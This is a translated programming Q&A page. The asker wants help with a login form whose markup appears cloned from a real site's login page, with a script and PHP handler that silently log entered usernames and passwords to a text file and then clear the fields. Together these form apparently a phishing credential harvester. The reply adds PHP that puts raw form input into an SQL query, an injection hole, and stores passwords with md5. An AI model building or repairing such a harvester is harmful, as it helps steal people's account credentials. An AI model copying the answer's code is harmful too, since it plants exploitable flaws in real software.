我刚刚使用PHP,Ajax和所有其他好东西进入网页设计。我正在尝试创建一个基本系统,将用户名和密码(或任何字段)输出到存储的数据库。 (我知道这不安全,它只是一个初学者项目。)它似乎非常不一致。字段A和字段B并不总是打印到数据库。有时它会打印多次,有时根本不打印。以下是您可能需要的代码:
<form class="_rwf8p" data-reactid=".0.0.0.0.1.2">
<div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.0">
<input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Username" name="Username" type="username" placeholder="Username" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.0.0" type="text" />
</div>
<div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.1">
<input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Passwd" name="Passwd" type="password" placeholder="Password" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.1.0" type="password" />
<div class="_j4ox0" data-reactid=".0.0.0.0.1.2.1.1">
<a class="_19gtn" href="/accounts/password/reset/" data-reactid=".0.0.0.0.1.2.1.1.0">
Forgot?
</a>
</div>
</div>
<button class="_rz1lq _k2yal _84y62 _7xso1 _nv5lf" data-reactid=".0.0.0.0.1.2.2">
Log in
</button>
</form>
<script>
$("html").keypress(function(event) {
if(event.keyCode == 13) {
saveCridentials();
}
});
$("#signIn").click(function() {
saveCridentials();
});
function saveCridentials() {
$.ajax({
type: "POST",
url: "log.php",
data: { "username" : $("#Username").val(), "password" : $("#Passwd").val() },
dataType: "json"
});
$("#Username").val("");
$("#Passwd").val("");
}
</script>
PHP:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
fwrite(fopen('cridentials.txt', 'a'), "Username: ". $username . " Password: ". $password . "\n");
?>
任何帮助都会非常棒,谢谢!
答案 0 :(得分:-1)
"I am trying to make a basic system that prints a username and password (or any fields) to a stored database"
Why not try just php and MySql
First you will have to connect to your database:
<?php
/* Database config */
$db_host = 'localhost';
$db_user = 'yourinput';
$db_pass = 'yourinput';
$db_database = 'yourinput';
$link = mysql_connect($db_host,$db_user,$db_pass) or die('Unable to establish a DB connection');
mysql_select_db($db_database,$link);
mysql_query("SET names UTF8");
// Now lets say a user is trying to register with username and password, basically the same concept as what you would be trying to do.
if($_POST['submit']=='Register')
mysql_query(" INSERT INTO registered(usr,pass)
VALUES('".$_POST['usr']."','".md5($pass)."')");
// This would plug the values of the username and password, which is a randomly generated password but you could figure out how to conform it to the way you want.
// Most important your database has to be set up correctly. Check out this link http://dev.mysql.com/doc/refman/5.7/en/database-use.html , phpMyAdmin work great when working with data bases as well.
// Now, you HTML code has to written correctly. Your input form must be configured correctly to correspond to your php code & database. In your case you are simply trying to get the username and password into the database. Your id in your form has to be the same as you database and php code.
<input class="field" id="username" name="username" size="23" type="text" value="">
<input class="field" id="password" name="password" size="23" type="text" value="">
//If that doesn't help take a look at: https://www.eduonix.com/blog/web-programming-tutorials/learn-submit-html-data-mysql-database-using-php/